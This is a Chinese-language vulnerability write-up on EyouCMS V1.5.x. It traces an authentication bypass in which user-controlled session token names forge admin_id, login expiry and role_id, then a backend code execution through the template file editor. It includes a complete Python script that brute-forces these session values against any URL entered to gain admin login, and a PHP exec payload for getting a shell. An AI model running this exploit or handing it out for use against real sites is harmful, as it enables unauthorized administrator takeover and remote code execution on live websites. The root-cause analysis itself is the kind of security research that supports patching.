Eyoucms V1.5.X漏洞分析

发布时间 2023-09-05 08:49:02作者: 徐也

鉴权漏洞-任意用户登录

首先在application/api/controller/Ajax.php直接获取Ajax请求

仅仅只是IS_AJAX变量是否为真,稍微变化一下就可以绕过

image

跟进一下token(),在core/library/think/Request.php里
image
在这里把Ajax传入值md5一遍然后设置成为session,这里name的值是用户可控的

然后到application/admin/controller/Base.php看一下管理员的登录逻辑
image
使用session('?admin_id'): 检查当前会话中是否存在名为admin_id的会话变量,以确定管理员是否已经登录。

getTime() - intval(admin_login_expire) < web_login_expiretime: 计算当前时间与admin_login_expire之间的差值,并将其与web_login_expiretime进行比较,以确定管理员的登录是否在有效期。

如果session('?admin_id')为true且管理员登录仍然在有效期内,则执行以下操作:

session('admin_login_expire', getTime()): 更新会话中的admin_login_expire变量,以反映管理员的新登录时间戳。
调用check_priv()方法检查管理员菜单操作权限的函数。

再跟进一下check_priv(),这个一眼就看明白了,只要admin_info.role_id大于等于0就行
image

python爆破脚本

点击查看代码
import requests
import re
from time import time

# 定义 header 头, 绕过 isAjax
header = {'x-requested-with': 'xmlhttprequest'}

# 定义一个 requests 会话
request = requests.session()

PHPSESSION = ""

# 绕过第一个判断
def get_session(url):
    global PHPSESSION
    # 设置 admin_id 并且,获取 PHPSESSION
    payload = '/index.php'
    result = request.get(url=url + payload, headers=header)
    # 获取PHPSESSION
    match = re.search("PHPSESSID=(.*?);", result.headers["set-cookie"])
    if match:
        PHPSESSION = match.group(1)
        print(f"[+] PHPSESSION = {PHPSESSION}")

def set_admin_id(url):
    # 设置一个 admin_id 以绕过,第一个条件
    payload = '/index.php?m=api&c=ajax&a=get_token&name=admin_id'
    result = request.get(url=url + payload, headers=header).text
    print(f"[+] 正在设置 admin_id -> [{result}]")

def set_admin_login_expire(url):
    payload = "/index.php?m=api&c=ajax&a=get_token&name=admin_login_expire"
    while True:
        result = request.get(url=url + payload, headers=header).text
        # 第二个判断条件,判断登录是否在一小时里
        if (time() - int(change(result), 10) < 3600):
            print(f"[+] admin_login_expire = {result}")
            break
        print(f"[INFO] 正在爆破 admin_login_expire -> [{result}]")

def set_admin_info_role_id(url):
    payload = "/index.php?m=api&c=ajax&a=get_token&name=admin_info.role_id"
    while True:
        result = request.get(url=url + payload, headers=header).text
        # 第三个判断条件,判断是否是管理员权限
        if (int(change(result), 10) <= 0):
            print(f"[+] admin_login_expire = {result}")
            break
        print(f"[INFO] 正在爆破 admin_info.role_id -> [{result}]")

def check_login(url):
    payload = "login.php?m=admin&c=System&a=web&lang=cn"
    result = request.get(url=url + payload).text
    if "网站LOGO" in result:
        print(f"[+] 使用 PHPSESSION -> [{PHPSESSION}] 登录成功!")
    else:
        print(f"[+] 使用 PHPSESSION -> [{PHPSESSION}] 登录失败!")

# 如果第一个字符为字母就直接返回0,不是则直到找到字母,并且返回前面不是字母的字符
def change(string):
    temp = ''
    for n, s in enumerate(string):
        if n == 0:
            if s.isalpha():
                return '0'
        if s.isdigit():
            temp += str(s)
        else:
            if s.isalpha():
                break
    return temp

def run(url):
    # 开始计时
    time_start = time()

    get_session(url)
    set_admin_id(url)
    set_admin_login_expire(url)
    set_admin_info_role_id(url)
    check_login(url)

    print(f"[+] PHPSESSION = {PHPSESSION}")

    # 结束计时
    time_end = time()

    print(f"[+] 总共用时 {int(time_end) - int(time_start)} 秒")

if __name__ == '__main__':
    url = input("Enter the URL: ")
    run(url)

image

后台RCE-getshell

漏洞位置在application\admin\logic\FilemanagerLogic.php的editFile()函数
image

测试:
在模板管理直接执行

<?=exec("whoami");

image

image